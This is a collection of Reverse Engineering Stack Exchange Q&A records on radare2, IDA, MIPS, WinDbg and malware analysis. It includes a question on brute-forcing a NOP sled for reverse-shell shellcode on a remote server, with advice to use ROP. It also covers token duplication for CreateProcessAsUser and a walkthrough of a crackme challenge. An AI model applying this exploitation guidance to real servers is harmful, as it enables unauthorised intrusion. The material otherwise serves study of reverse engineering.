    #include <stdio.h>\n\nint main(){\n    char entrada[14];\n    gets(entrada);\n    puts(entrada);\n    return 0;\n}\n
    \n\n

    Disassembling the main function with radare2 outputs:

    \n\n
    0x00400546      55             pushq %rbp\n0x00400547      4889e5         movq %rsp, %rbp\n0x0040054a      4883ec10       subq $0x10, %rsp\n0x0040054e      488d45f0       leaq local_10h, %rax\n0x00400552      4889c7         movq %rax, %rdi\n0x00400555      b800000000     movl $0, %eax\n0x0040055a      e8e1feffff     callq sym.imp.gets          ; char*gets(char *s)\n0x0040055f      488d45f0       leaq local_10h, %rax\n0x00400563      4889c7         movq %rax, %rdi\n0x00400566      e8c5feffff     callq sym.imp.puts          ; int puts(const char *s)\n0x0040056b      b800000000     movl $0, %eax\n0x00400570      c9             leave\n0x00400571      c3             retq\n
    \n\n

    However, when debugging this program with python using this script\n

    \n\n
    import r2pipe as r2\nprog = r2.open(\"./a.out\")\n\nprog.cmd(\"aaa\")\nprog.cmd(\"doo\")\n\nprog.cmd(\"db 0x0040055f\") #Breakpoint after 'gets' call\n\nprog.cmd(\"dc\")\nprog.cmd(\"dc\")\n
    \n\n

    the execution stucks in the \"gets\" call, no matter which input I use. The same sequence of commands works fine with the radare2's CLI. I also tried using dor stdin=input.txt before doo which, despite the fact it works, it isn't convenient to write files to the disk, and for some uses, is not possible to determine the needed input before the execution.

    \n\n

    What is the best way to use stdin with r2pipe?

    \n", "Title": "Using stdin when debugging with r2pipe", "Tags": "|radare2|", "Answer": "

    Just use i.e. pseudo-terminal as file in the command. I usually create rarun2 file

    \n\n
    #!/usr/bin/rarun2\nstdin=/dev/pts/20\n
    \n\n

    And in the r2pipe script I run

    \n\n
    r2.cmd('e dbg.profile=re2.rr2')\n
    \n\n

    to configure usage of this script by r2 debug session.

    \n\n

    Then, on one terminal you run your r2pipe and on the other (the one that is /dev/pts/20) you type

    \n\n
    echo \"<input>\" > /dev/pts/20\n
    \n" }, { "Id": "17008", "CreationDate": "2017-12-19T20:19:41.470", "Body": "

    So I'm seeing this a lot in an IDA database:

    \n\n
    ; wchar_t off_BADF00D\noff_BADF00D     dd offset loc_6F0062\n                dd offset loc_740074\n                dd offset loc_6D006E+1\n                align 10h\n
    \n\n

    So given the comment at the top IDA knows from the code reference that this ought to be a zero-terminated wide character string.

    \n\n

    I was thinking of writing a simple IDAPython script to find instances of this and force these items to be converted to the appropriate data type automatically.

    \n\n

    However, neither ; nor : showed anything, so this is neither a repeatable nor a normal comment. So what is it and how can I use IDAPython to extract it? I also tried (prompted by a comment here) if it's an anterior or posterior comment line. It wasn't.

    \n\n

    Alternatively I'll also be happy if someone can point out how to \"guide\" IDA to do the right thing without scripting, but this sparked my curiosity, so only bonus points for that. I'd still like to find out how to get the comment shown.

    \n", "Title": "How to extract the automatic comment for these data items in IDA?", "Tags": "|ida|idapython|", "Answer": "

    Can't tell about python, but in IDC you can partially get that 'comment' via GetType(ea). I say partially because it gives wchar_t[67] as result for comment like ; wchar_t aHttpSchemas_27[67].

    \n" }, { "Id": "17010", "CreationDate": "2017-12-19T22:09:27.177", "Body": "

    CreateProcessAsUser is often used by Windows services in case an executable is started that the user has specified in order to run it with Medium Integrity Level to ensure privilege isolation.

    \n\n

    \"CreateProcessAsUser

    \n\n

    Looking at the signature, a hToken has to be provided. From my observation, Windows services always pick the currently logged on user that performed this action.

    \n\n
    BOOL WINAPI CreateProcessAsUser(\n  _In_opt_    HANDLE                hToken,\n  _In_opt_    LPCTSTR               lpApplicationName,\n  _Inout_opt_ LPTSTR                lpCommandLine,\n  _In_opt_    LPSECURITY_ATTRIBUTES lpProcessAttributes,\n  _In_opt_    LPSECURITY_ATTRIBUTES lpThreadAttributes,\n  _In_        BOOL                  bInheritHandles,\n  _In_        DWORD                 dwCreationFlags,\n  _In_opt_    LPVOID                lpEnvironment,\n  _In_opt_    LPCTSTR               lpCurrentDirectory,\n  _In_        LPSTARTUPINFO         lpStartupInfo,\n  _Out_       LPPROCESS_INFORMATION lpProcessInformation\n);\n
    \n\n
    \n\n

    Q: What mechanism determines that \"current user\"?

    \n\n

    I'm double quoting \"current user\", because it seems very vague to assume a single point of implementation. I currently assume that every function that calls CreateProcessAsUser has its own implementation of retrieving the \"current user\" in order to pass its token.

    \n\n

    I would like to understand what this logic looks like and on what criteria the hToken is selected. Since user mode process creation is performed by many Windows services, I would have to assume there is a common logic for it, but I don't see it in the stack traces (see image).

    \n", "Title": "How is CreateProcessAsUser impersonation implemented in Windows services?", "Tags": "|windows|process|", "Answer": "
    \n

    I currently assume that every function that calls CreateProcessAsUser has its own implementation of retrieving the \"current user\" in order to pass its token.

    \n \n

    I would like to understand what this logic looks like and on what criteria the hToken is selected.

    \n
    \n\n

    A while back I wrote some Delphi code to do this when running a program as SYSTEM. Instead of a service, I was executing from a SYSTEM cmd prompt, which I invoked using psexec: psexec -s -i -d cmd.exe). Logic flowed like this:

    \n\n
      \n
    1. Call WTSGetActiveConsoleSessionID to retrieve session ID of the session attached to the physical console (and therefore not term services session). code
      2. \n
    2. Can next call WTSQueryUserToken to retrieve the token for that session Obtain PID for a SYSTEM process, like winlogon.exe
      3. \n
    3. Obtain a handle to this process by calling OpenProcess code
      4. \n
    4. Using this handle, call OpenProcessToken to obtain a handle to the process' access token code
      5. \n
    5. Call DuplicateTokenEx specifying this handle and the user's session ID in order to create a copy of the token. code
      6. \n
    6. Call CreateProcessAsUser with this duplicated token. code
      7. \n
    \n\n

    Here's a similar example in C#.

    \n\n

    You can use Process Explorer to view the session that process is being run within.\n\"enter

    \n" }, { "Id": "17022", "CreationDate": "2017-12-20T12:56:13.843", "Body": "

    Question:

    \n
    \n

    You are given eax = 0x1. Could you set eax to zero using only one add instruction ?

    \n
    \n

    Answer:

    \n
    add %eax, 0xffffffff\n
    \n

    Why is that ?

    \n", "Title": "how to represent -1 in assembly?", "Tags": "|assembly|x86|", "Answer": "

    Reference:

    \n\n
    \n

    Conversion from Two's Complement

    \n \n

    Use the number 0xFFFFFFFF as an example. In binary, that is:

    \n \n

    1111 1111 1111 1111 1111 1111 1111 1111

    \n \n

    What can we say about this\n number? It's first (leftmost) bit is 1, which means that this\n represents a number that is negative. That's just the way that things\n are in two's complement: a leading 1 means the number is negative, a\n leading 0 means the number is 0 or positive.

    \n \n

    To see what this number is a negative of, we reverse the sign of this\n number. But how to do that? The class notes say (on 3.17) that to\n reverse the sign you simply invert the bits (0 goes to 1, and 1 to 0)\n and add one to the resulting number.

    \n \n

    The inversion of that binary number is, obviously:

    \n \n

    0000 0000 0000 0000 0000 0000 0000 0000

    \n \n

    Then we add one.

    \n \n

    0000 0000 0000 0000 0000 0000 0000 0001

    \n \n

    So the negative of 0xFFFFFFFF is\n 0x00000001, more commonly known as 1. So 0xFFFFFFFF is -1.

    \n
    \n" }, { "Id": "17023", "CreationDate": "2017-12-20T13:20:45.227", "Body": "

    I'm trying to reverse a binary and I'm having trouble understanding a pattern that keeps showing in almost half of the functions in the binary.

    \n\n

    This is how one particular function looks like:

    \n\n

    \"enter

    \n\n

    Why is rsl_setNetCfgObj being loaded in $v1 and not \"used\" (being called) anywhere? I see that the next opcode sets $a1 to an offset of $v1, but those addresses aren't pointing to anything meaningful.\nThis pattern is repeated in a lot of the functions that I'm analysing, and I'm not sure if that's some bug in Binary Ninja and IDA Pro (as they both show the same), or if I'm missing something.

    \n\n

    If that is not a bug, what exactly is rol_setNetCfgObj supposed to do?

    \n", "Title": "Strange instructions pattern (lw) in MIPS binary", "Tags": "|disassembly|binary-analysis|mips|", "Answer": "

    Like many RISC implementations, MIPS instruction set uses fixed-width 32-bit instructions, and instructions have only 16 bits for the offset field, meaning you can use only 16-bit constants, giving you 64KB of addressing. However, the actual address space of a MIPS CPU is 4GB (32-bit address size), so how can you access all that? Well, there is the option of using partial 16-bit moves to build a 32-bit address in a register and then use an indirect load/store to access it. It usually looks similar to:

    \n\n
    lui  $r1, 0x0123\naddi $r1, $r1, 0xabcd\n
    \n\n

    or

    \n\n
    lui  $r1, 0x0123\nori  $r1, $r1, 0xabcd\n
    \n\n

    Both of these load 0x0123abcd into r1 aka at (see here).

    \n\n

    However, this requires knowledge of the address at compile- (or at least link-) time. In case our binary needs to be loaded at a different address (as often the case with shared libraries), it will have to be relocated (instructions would need to be patched). Patching takes time, prevents code page sharing and increases memory consumption, that's why position-independent code (PIC) is preferred to fixed-address.

    \n\n

    So, how we can perform the address calculation independent from the load address? Well, we just need to take our execution address and add a fixed delta to it (usually binaries are loaded as one chunk to memory, so offsets from one part of it to another are fixed). The MIPS ABI states that for public functions, the value of $t9 at the function entry should be equal to its runtime address, and we can see the code using this fact:

    \n\n
    109BC: li $gp, 0x830e4\n109C4: addu $gp, $gp, $t9\n
    \n\n

    If we assume that $t9 is equal to 0x109BC, we get :

    \n\n
    gp = 0x830e4 + 0x109BC = 0x93AA0\n
    \n\n

    gp stands for \"global pointer\" and is not supposed to change during the execution of the function (often it is assumed to have the same value in all functions of the program). This fact may be used by the compiler in all other calculations involving program addresses. For example, looking at the highlighted area:

    \n\n
    lw $v1, -0x7fd4($gp) \n
    \n\n

    0x93AA0-0x7fd4 = 0x8BACC, and apparently the program stores 0x70000 at that address, which is used in the next instruction to load $a1:

    \n\n
    lw $a1, -0x1b4c($v1)\n
    \n\n

    Calculating it: -0x1b4c+0x70000=0x6E4B4 (helpfully shown by the disassembler).

    \n\n

    So, $v1 (and v0 later) here is just an intermediate variable used for the address calculation (usually $at is reserved for this purpose but reusing it all the time may lead to slower code).

    \n\n

    By the way, 0x70000 has all zeroes in the low 16 bits, and it's not an accident. It may happen to point to rsl_setNetCfgObj but it's just a red herring.

    \n\n

    If you go to the .got section of the binary, you will usually see something like this:

    \n\n
    .got:00515B40      .word 0\n.got:00515B44      .word 0x80000000\n.got:00515B48      .word 0x510000\n.got:00515B4C      .word 0x4D0000\n.got:00515B50      .word 0x420000\n.got:00515B54      .word 0x4C0000\n.got:00515B58      .word 0x520000\n.got:00515B5C      .word 0x430000\n.got:00515B60      .word 0x440000\n.got:00515B64      .word 0x450000\n.got:00515B68      .word 0x460000\n.got:00515B6C      .word 0x470000\n.got:00515B70      .word 0x480000\n.got:00515B74      .word 0x490000\n.got:00515B78      .word 0x4A0000\n.got:00515B7C      .word 0x530000\n.got:00515B80      .word 0x4B0000\n.got:00515B84      .word 0\n.got:00515B88      .word 0\n.got:00515B8C      .word 0\n
    \n\n

    These are so-called local GOT entries, and are used by the compiler purely for address calculations inside the binary and not as pointers to external symbols. The compiler allocates enough different addresses there so it can reach any required address in the local binary with just a 16-bit (signed) offset. The gp itself is usually set to GOT+7FF0 which allows the compiler to load any GOT entry (either external symbol or a local address for further calculation) in one instruction (assuming that GOT does not exceed 64KB).

    \n\n
    \n\n

    So, in summary: what you have here is not obfuscation or a disassembler bug but normal code demonstrating limitations of the MIPS instruction set and its calling conventions.

    \n\n
    \n\n

    BTW, IDA knows about these things and by default represents most such references using final addresses. E.g., from a sample binary:

    \n\n
    .text:0042C34C   la      $v0, dword_520000\n.text:0042C350   lbu     $v0, (byte_5193CD - 0x520000)($v0)\n.text:0042C354   beqz    $v0, loc_42C36C\n.text:0042C358   li      $v1, 8\n.text:0042C35C   li      $v1, 9\n.text:0042C360   la      $v0, dword_520000\n.text:0042C364   b       loc_42C380\n.text:0042C368   sb      $v1, (sLastPayedFileInfo - 0x520000)($v0)\n
    \n\n

    And with simplifications turned off:

    \n\n
    .text:0042C34C   lw      $v0, -0x7FD8($gp)\n.text:0042C350   lbu     $v0, (byte_5193CD - 0x520000)($v0)\n.text:0042C354   beq     $v0, $zero, loc_42C36C\n.text:0042C358   addiu   $v1, $zero, 8\n.text:0042C35C   addiu   $v1, $zero, 9\n.text:0042C360   lw      $v0, -0x7FD8($gp)\n.text:0042C364   beq     $zero, $zero, loc_42C380\n.text:0042C368   sb      $v1, (sLastPayedFileInfo - 0x520000)($v0)\n
    \n\n

    While you can still somewhat see what's going on, I personally prefer the first one.

    \n\n

    For more info on MIPS I would recommend the See MIPS Run book by Sweetman, as well as the MIPS ABI specifications (see here for a start). Or just go through the code instruction by instruction and try to figure out what they do.

    \n" }, { "Id": "17029", "CreationDate": "2017-12-21T15:36:04.483", "Body": "

    ELF x64 binary on a remote server communicates via simple socket server in C.

    \n

    After overflowing the buffer (total buffer is 2000, password buffer is less), overwriting the RIP, filling with NOP sled (512 nops), inserting a reverse bind shellcode on the top of that, finding out a perfect address (without \\x00) in middle of nop sled which after sliding it will execute the shellcode.

    \n\n

    I understand the many outcomes but if I decide to brute force the remote server to find the NOP-sled address.\nAny good practice for that ?

    \n", "Title": "brute force remote nop sled memory address", "Tags": "|crackme|x86-64|", "Answer": "

    Brute force is not the way you should look to in anything unless its your last resort. The address space of x64 is too large to get brute force to work. Look up on this technique called ROP(Return Oriented Programming). Currently you're bruteforcing the RIP, what if there's some code in the binary that will help you jump to your shellcode without bruteforcing and plus no PIE means that address is constant. When your control is getting transferred at ret, look at what other registers contain. You might find code such as call eax in the binary.

    \n" }, { "Id": "17030", "CreationDate": "2017-12-21T17:27:42.017", "Body": "

    I have an executable that is c++(x64) compiled code upon which the decompiler is not loaded. In other files, it works fine. But they are mostly written in c. \nI am not sure if it is a limitation in version 6.8.

    \n", "Title": "IDA hex-rays decompiler not loaded", "Tags": "|ida|decompiler|", "Answer": "

    The answer is that I was trying to open a 32bit file in idaq64 and so the decompiler doesn't work.

    \n" }, { "Id": "17036", "CreationDate": "2017-12-22T14:11:47.493", "Body": "

    I'm trying to stop at a specific module load from a kernel debugger inside a specific process context.

    \n\n

    What i do is to first set sxe ld [process-name] let's say calc.exe.

    \n\n

    Now, when I run calc it works, but when i set sxe ld [dll-name] (say kernel32/ntdll) it won't work.

    \n", "Title": "[windbg]kd - sxe ld from a process context won't fire", "Tags": "|windows|windbg|kernel-mode|", "Answer": "

    I think usually this enables stopping on loading of kernel modules only (e.g. drivers). However, this SO answer claims it can work for user-mode processes if you send !gflag +ksl first (Enable loading of kernel debugger symbols).

    \n\n

    It also describes how you can set process-specific kernel breakpoints, e.g.

    \n\n
    kd> .process\n    Implicit process is now 00112233`44556677\nbp /p 0011223344556677 nt!NtMapViewOfSection\n
    \n\n

    The NtMapViewOfSection syscall is used, among other purposes, to load DLLs so by stopping at it you should catch all further DLL loads.

    \n" }, { "Id": "17042", "CreationDate": "2017-12-23T10:50:23.017", "Body": "

    Simple question that I coudn't find googling: if I'm in the middle of a function how can I jump to the start/end (prologue/epilogue) of this function in IDA's disassembly?

    \n\n

    Thanks.

    \n", "Title": "How to jump to the start/end of a function in IDA disassembly?", "Tags": "|ida|", "Answer": "

    I don't believe there is a hotkey that will do it by default. One solution you could have is to add something like this to your .idapythonrc

    \n\n
    # define functions to do the jumping\ndef jump_func_start():\n    Jump(GetFunctionAttr(here(), FUNCATTR_START))\n\ndef jump_func_end():\n    Jump(PrevHead(GetFunctionAttr(here(), FUNCATTR_END)))\n\n# Compile IDC wrappers to call the python\nidaapi.CompileLine('static j_f_start() { RunPythonStatement(\"jump_func_start()\"); }')\nidaapi.CompileLine('static j_f_end() { RunPythonStatement(\"jump_func_end()\"); }')\n\n# Add the hotkey\nAddHotkey(\"Ctrl-Alt-K\", 'j_f_start')\nAddHotkey(\"Ctrl-Alt-J\", 'j_f_end')\n
    \n\n

    After that you can just type whatever hotkey you set and it should go to the start / end of the function

    \n" }, { "Id": "17045", "CreationDate": "2017-12-25T00:15:24.343", "Body": "

    I have analysed malware previously using Cuckoo Sandbox, however, I've seen that some malware won't run as they detect they are actually running in a virtual environment (they implement some anti-virtualisation techniques). So what I was thinking is running the malware in a real environment instead and then rolling back to the clean state using a clean copy of the system. I just want to check the following:

    \n\n
      \n
    1. Is this the proper way to analyse malware which implements\nanti-virtualisation techniques or there are other ways that usually are followed?
      2. \n
    2. Is there a specific program that is widely used by\nmalware analysers to retain a copy of the clean system state, and\nre-install it? (I am interested in Windows malware only)
      3. \n
    \n", "Title": "Analysing malware in a real environment (non-virtual environment)", "Tags": "|malware|", "Answer": "

    The answer is complete for the questioner's #2, but let's dig a little-deeper into #1.

    \n\n

    There are other ways to analyze malware which implements anti-virtualization, vm-detection, sandbox detection, and sandbox evasion techniques. However, does the malware also include environmentally-keyed detection or evasion techniques, such as the ones outlined here -- https://www.vmray.com/blog/sandbox-evasion-techniques-part-4/ -- (aka context-aware malware aka environment-sensitive)?

    \n\n

    Cuckoo is an excellent sandbox for features and behavior extraction, so it's not always wise to jump to windbg or other classic bare-metal debugging (although sometimes it is wise to do this). If the built-in cloaking solution for Cuckoo, vmcloak, can prevent the malware from detecting or evading it then you still get all of the benefits of Cuckoo.

    \n\n

    Some of these can be elicited early-on during static analysis or even during simple Yara triage. There are also advanced ways of performing Yara triage that will catch malicious processes in-the act, such as Godaddy's procfilter -- https://github.com/godaddy/yara-rules/blob/master/features/virtualbox_detection.yara

    \n\n

    If you use dynamic analysis to elicit the sandbox detection, evasion, or context-aware malware techniques, be sure to know your limitations. makin is a good starting framework to determine those anti-debugging capabilities.

    \n\n

    A lot of this depends on your goal with malware. What do you want to know about them; what questions do you have? Do you need to extract Proactive Threat Indicators for internal-only blacklists or will you be sharing them? Do you need to deconfig RATs that are operating on systems in your network? For example, a focus on nation-state RATs might warrant a jump to the -- https://github.com/ctxis/CAPE -- tool or similar.

    \n\n

    If you want a simple solution to scaling sandbox-based automation with stealth functionality that surpasses vmcloak, check out -- drakvuf.com

    \n\n

    I am definitely interested in more of the bare-metal techniques (especially the AMT RAM cloner!) spoken to by @ekse in the primary answer. These are also very-valuable! However, just because you have bare metal doesn't mean that context-aware malware techniques such as time bombs, logic bombs, and specifically-targeted malicious logic won't be an additional problem -- you'll have to account for them!

    \n" }, { "Id": "17048", "CreationDate": "2017-12-25T15:53:08.650", "Body": "

    I decompile a VC++ application in IDA 7, and I often find vftables referencing the same function multiple times, like the one I called \"Object__pure\" here, part of a \"heavy-base\" Object class inherited by almost every other class in the application:

    \n\n
    seg002:008F4748     const Object::`vftable' dd offset Object__free ; DATA XREF: Object__ctor+12\u2191o Object__dtor+A\u2191o Object__copy+16\u2191o\nseg002:008F474C         dd offset Object__vsub_7D0990\nseg002:008F4750         dd offset Object__vsub_7D09A0\nseg002:008F4754         dd offset Object__pure\nseg002:008F4758         dd offset Object__pure\nseg002:008F475C         dd offset Object__pure\nseg002:008F4760         dd offset Object__pure\nseg002:008F4764         dd offset Object__vsub_47B660\n
    \n\n

    Child classes in my executable inheriting from Object typically have their own custom functions instead of those \"pure\" (how I called them) ones in their vtable.

    \n\n

    Not really knowing what that could be, I gave it the name \"pure\", thinking about it like a virtual or pure virtual call. The function itself does nothing other than calling a completely empty Object__vsub_80CD50:

    \n\n
    seg000:007E4580     Object__pure proc near ; CODE XREF: <lots!>\nseg000:007E4580\nseg000:007E4580     a1  = dword ptr -4\nseg000:007E4580     arg_0= dword ptr  8\nseg000:007E4580\nseg000:007E4580 000     push    ebp\nseg000:007E4581 004     mov     ebp, esp\nseg000:007E4583 004     push    ecx\nseg000:007E4584 008     mov     [ebp+a1], ecx\nseg000:007E4587 008     mov     eax, [ebp+arg_0]\nseg000:007E458A 008     push    eax\nseg000:007E458B 00C     mov     ecx, [ebp+a1] ; this\nseg000:007E458E 00C     call    Object__vsub_80CD50 ; Call Procedure\nseg000:007E4593 00C     mov     esp, ebp\nseg000:007E4595 004     pop     ebp\nseg000:007E4596 000     retn    4 ; Return Near from Procedure\nseg000:007E4596     Object__pure endp\n\n...\n\nseg000:0080CD50     Object__vsub_80CD50 proc near ; CODE XREF: <lots again!>\nseg000:0080CD50\nseg000:0080CD50     var_4= dword ptr -4\nseg000:0080CD50\nseg000:0080CD50 000     push    ebp\nseg000:0080CD51 004     mov     ebp, esp\nseg000:0080CD53 004     push    ecx\nseg000:0080CD54 008     mov     [ebp+var_4], ecx\nseg000:0080CD57 008     mov     esp, ebp\nseg000:0080CD59 004     pop     ebp\nseg000:0080CD5A 000     retn    4 ; Return Near from Procedure\nseg000:0080CD5A     Object__vsub_80CD50 endp\n
    \n\n

    Why is such a function referenced multiple times? Is it due to optimization, unifying functions that do nothing? Are those functions typically virtual / pure virtual?

    \n", "Title": "Why would a vtable reference the same function multiple times?", "Tags": "|ida|vtables|msvc|", "Answer": "

    As I guessed and was confirmed in the comments, this is apparently some compiler optimization reusing methods executing the same logic.

    \n\n

    This got clear to me when I reversed the methods of one of the more specific objects, like the data stream reader / writer here:

    \n\n
    seg002:008F4FC4     const DataStream::`vftable' dd offset DataStream__readByte ; DATA XREF: DataStream__ctor+12\u2191o\nseg002:008F4FC8         dd offset DataStream__readWord\nseg002:008F4FCC         dd offset DataStream__readDword\nseg002:008F4FD0         dd offset DataStream__readBytes\nseg002:008F4FD4         dd offset DataStream__canReadWrite\nseg002:008F4FD8         dd offset DataStream__writeByte\nseg002:008F4FDC         dd offset DataStream__writeWord\nseg002:008F4FE0         dd offset DataStream__writeDword\nseg002:008F4FE4         dd offset DataStream__writeBytes\nseg002:008F4FE8         dd offset DataStream__canReadWrite\n
    \n\n

    You can see that the methods canRead and canWrite were simply optimized into one method (which I named canReadWrite) as the logic for both is the same (hexrays output):

    \n\n
    bool __thiscall DataStream::canReadWrite(DataStream *this, int lengthRequired)\n{\n    return this->members.pData <= this->members.pDataEnd\n        && this->members.pDataEnd - this->members.pData >= lengthRequired;\n}\n
    \n\n

    It may be the case that some other data stream class (like a read- or write-only one) will implement each method differently (returning simply false for said cases), but not in this class.

    \n\n

    Thus, for an even more generic base class like Object above, a lot of methods do nothing specific in particular, and are optimized into one.

    \n" }, { "Id": "17053", "CreationDate": "2017-12-27T17:51:59.597", "Body": "

    I'm practicing with Radare2, latest commit.

    \n\n
    radare2 2.3.0-git 16814 @ linux-x86-64 git.2.2.0-5-g61a903315\n
    \n\n

    During my sessions, I need to rename local variables to a more understandable name, e.g.

    \n\n
    var int local_110h @ rbp-0x110\n:> afvn local_110h commandLine\n
    \n\n

    Is there a command to inspect what's inside this variable and, eventually, what's pointing to?

    \n\n

    I was expecting this:

    \n\n
    px @ commandLine\npx @ [commandLine]\n
    \n\n

    But it doesn't work:

    \n\n
    :>px @ commandLine\nInvalid address (commandLine)\n|ERROR| Invalid command 'px @ commandLine' (0x70)\n
    \n\n

    Passing through rbp works flawlessly.

    \n\n
    px @ rbp-0x100\n
    \n", "Title": "Radare2: inspecting renamed variables", "Tags": "|radare2|", "Answer": "

    You should use afvd.

    \n\n
    [0x00402a00]> afv?\n...\n...\n| afvd name     output r2 command for displaying the value of args/locals in the debugger\n...\n...\n
    \n\n

    Executing only afvd will print you the values of all the local variables in the function, and if you'll execute it with a variable name you'll get radare2 command as a result:

    \n\n
    [0x00402a00]> afvn local_110h commandLine\n[0x00402a00]> afvd commandLine\npxr $w @rsp+0x110\n
    \n\n

    you'll get pxr $w @rsp+0x110, which is a radare2 command.

    \n\n

    You can add a dot . before it to execute it:

    \n\n
    [0x00402a00]> .afvd commandLine\n0x7fffdc9e9258  0x28ffedf4ccd19d64   d......(\n
    \n\n

    If, for example, you only want the address, you can use radare's internal grep.

    \n\n
    [0x00402a00]> .afvd commandLine~[0]\n0x7fffdc9e9258\n
    \n\n

    For more information about radare's grep, execute ~?

    \n" }, { "Id": "17059", "CreationDate": "2017-12-28T08:15:12.947", "Body": "

    I am using pykd to debug an application which loads a dll only when some condition is met. How do I set a breakpoint in the dll which has not loaded yet in pykd such that my handler gets the callback? Currently my code looks something like this

    \n\n
    class ExceptionHandler(pykd.eventHandler):\n    def __init__(self):\n        pykd.eventHandler.__init__(self)\n\n    def onException(self, exceptionInfo):\n        return pykd.eventResult.NoChange\n\n    def onBreakpoint(self, id):\n        return pykd.eventResult.NoChange\n\n    def onThreadStart(self):\n        return pykd.eventResult.NoChange\n\n    def onThreadStop(self):\n        return pykd.eventResult.NoChange\n\n    def onLoadModule(self, base, name):\n        print \"onLoadModule \" + name\n        # sys.stdout.flush()\n        # if name == \"test_module\":\n        #     # test_module = pykd.module(\"test_module\")\n        #     # test_module.reload()\n        #     # pykd.setBp(test_module.offset('test_function'), breakCount)\n        #     # print pykd.dbgCommand(\"bl\")\n        #     print pykd.dbgCommand('bp test_module!test_function \"r;gc\"')\n        #     # print pykd.dbgCommand(\"bl\")\n        #     # print \"Breakpoint Set %x\" % (test_module.offset('test_function'))\n        #     print \"Breakpoint Set\"\n        return pykd.eventResult.NoChange\n\n    def onUnloadModule(self, base, name):\n        return pykd.eventResult.NoChange\n\npykd.initialize()\npykd.handler = ExceptionHandler()\npykd.startProcess(\"testmydelayedload.exe %s\\\\%s\" % (os.getcwd(), sys.argv[1].strip()))\nalloc_module = pykd.module(\"ntdll\")\nalloc_module.reload()\nb0 = pykd.setBp(alloc_module.offset('RtlAllocateHeap')+0xe6, breakCount)\nb1 = pykd.setBp(alloc_module.offset('RtlFreeHeap'), breakCount)\npykd.loadExt(\"C:\\\\Program Files\\\\Windows Kits\\\\10\\\\Debuggers\\\\x86\\\\winext\\\\ext.dll\")\npykd.go()\npykd.killAllProcesses()\n
    \n\n

    I have tried to manually set the breakpoint using pykd.dbgCommand but the callback is not triggered in that case. I tried to change the return value of onLoadModule to other than pykd.eventResult.NoChange while setting a bp. What am I missing?

    \n", "Title": "How to set bp in a dll which loads later in pykd?", "Tags": "|windows|windbg|pykd|", "Answer": "

    I just figured it out, the variable storing the bp should be global otherwise it won't work. It should be alive out of the class's context.

    \n\n
    def onLoadModule(self, base, name):\n        global test_function, test_module\n        print \"onLoadModule \" + name\n        if name == \"jscript\":\n            test_module = pykd.module(\"jscript\")\n            test_module.reload()\n            test_function = pykd.setBp(test_module.offset('test_function'), breakCount)\n            print \"Breakpoint Set %x\" % (test_module.offset('test_function'))\n        return pykd.eventResult.NoChange\n
    \n" }, { "Id": "17064", "CreationDate": "2017-12-28T15:13:05.993", "Body": "

    I found this platform and its course path into Reverse Engineering.

    \n\n

    Although very easy (at first) I'm kinda stuck in this binary n.2. Binary looks pretty easy and straightforward, but I can't figure it out how the code can count the length of user's password. I can see in the disassembled code that:

    \n\n

    \"Program

    \n\n

    Just before strlen call, EAX will point always to command line:

    \n\n
    r2 -Ad ./reverse2.dms AAAAAAAAAAAAAAAAAAAAAAAAAAA\n
    \n\n

    It will count always 0x0e chars because of the length of string ./reverse2.dms and not the length of the submitted password.

    \n\n

    I don't know if is it a bug or ... maybe ... I simply don't get it. But as for this situation, interesting loop is never reached because 0x0e < 0x15.

    \n\n

    I can rename the binary and jump over the first block but... honestly I'm afraid it's not the right way.

    \n\n

    Am I wrong?

    \n", "Title": "Avatao R3v3rs3 2", "Tags": "|assembly|radare2|", "Answer": "

    As your initial instincts told you, it is quite a simple challenge and you are close. Let's understand together the logic of the program. As you did, I used radare2.

    \n\n

    Let's open the program in radare2:

    \n\n
    $ r2 reverse2\n
    \n\n

    Analyze the binary and print the main function:

    \n\n
    [0x08048350]> aa\n[0x08048350]> pdf @ main\n
    \n\n

    If you want to, you can use radare's great Visual Graph Mode to easily detect the function's flow:

    \n\n
    [0x08048350]> VV @ main\n
    \n\n

    First the program checks whether you pass at least one argument to the program, i.e num_of_arguments > 1. Remember that the filename counts as 1 argument so you'll need another one.

    \n\n
    0x08048456      837d0801       cmp dword [arg_8h], 1\n0x0804845a      7f16           jg 0x804847\n
    \n\n

    Then it checks if the file name is more than 15 characters long:

    \n\n
    0x08048472      8b450c         mov eax, dword [arg_ch]     ; [0xc:4]=-1 ; 12\n0x08048475      8b00           mov eax, dword [eax]\n0x08048477      89442418       mov dword [local_18h], eax\n0x0804847b      8b442418       mov eax, dword [local_18h]  ; [0x18:4]=-1 ; 24\n0x0804847f      890424         mov dword [esp], eax\n0x08048482      e8a9feffff     call sym.imp.strlen         ; size_t strlen(const char *s)\n0x08048487      8944241c       mov dword [local_1ch], eax\n0x0804848b      837c241c15     cmp dword [local_1ch], 0x15 ; [0x15:4]=-1 ; 21\n
    \n\n

    So, you need to change the file name to be more than 15 characters long and pass it at least one argument.

    \n\n

    Now for the interesting part. In the following conditions, the program is checking whether filename[some_offset] == chr(0x??) and if yes, it goes to another offset in the file name and checks the value there.
    \nSo, for example, in the first check you can see:

    \n\n
    0x080484a7      8b442418       mov eax, dword [local_18h]\n0x080484ab      83c014         add eax, 0x14\n0x080484ae      0fb600         movzx eax, byte [eax]\n0x080484b1      3c73           cmp al, 0x73                ; 's' ; 115\n
    \n\n

    In this block it checks whether filename[0x14] == chr(0x73) which radare hints you that 0x73 equals the letter 's'.

    \n\n

    If yes, it jumps to another block:

    \n\n
    0x080484b9      8b442418       mov eax, dword [local_18h]\n0x080484bd      83c008         add eax, 8\n0x080484c0      0fb600         movzx eax, byte [eax]\n0x080484c3      3c67           cmp al, 0x67                ; 'g' ; 103\n
    \n\n

    In this block the program checks whether filename[8]=='g'.
    \nAnd so on until it checks all the offsets.

    \n\n

    I'll leave it to you to solve it and figure out what should be the name of the program.
    \nGood luck!

    \n" }, { "Id": "17070", "CreationDate": "2017-12-29T11:57:02.280", "Body": "

    I have a C compiled binary that allocates an array of chars into the heap via HeapAlloc().\nI would like to be able to see the allocated dynamic array in the heap using Ollydbg to be able to trace it and see how it is being modified.

    \n\n

    So far I've tried:

    \n\n
      \n
    1. Insert a unique string e.g. r00tr00tr00tr00t...r00t via the binary**
      2. \n
    2. Go to Memory View (ALT+M)
      3. \n
    3. Search (CTRL+B) for ASCII: r00t
      4. \n
    \n\n

    I always fail to locate it. I'm new to this so is the steps I took the right direction? If no how can I locate the string in the heap?

    \n\n

    ** this is injected with normal flow of the program, it accepts data from user. Let's say it's a serial number to be entered for instanc, which is placed in the heap using HeapAlloc

    \n", "Title": "How can I see the heap data in ollydbg?", "Tags": "|ollydbg|c|memory|heap|", "Answer": "

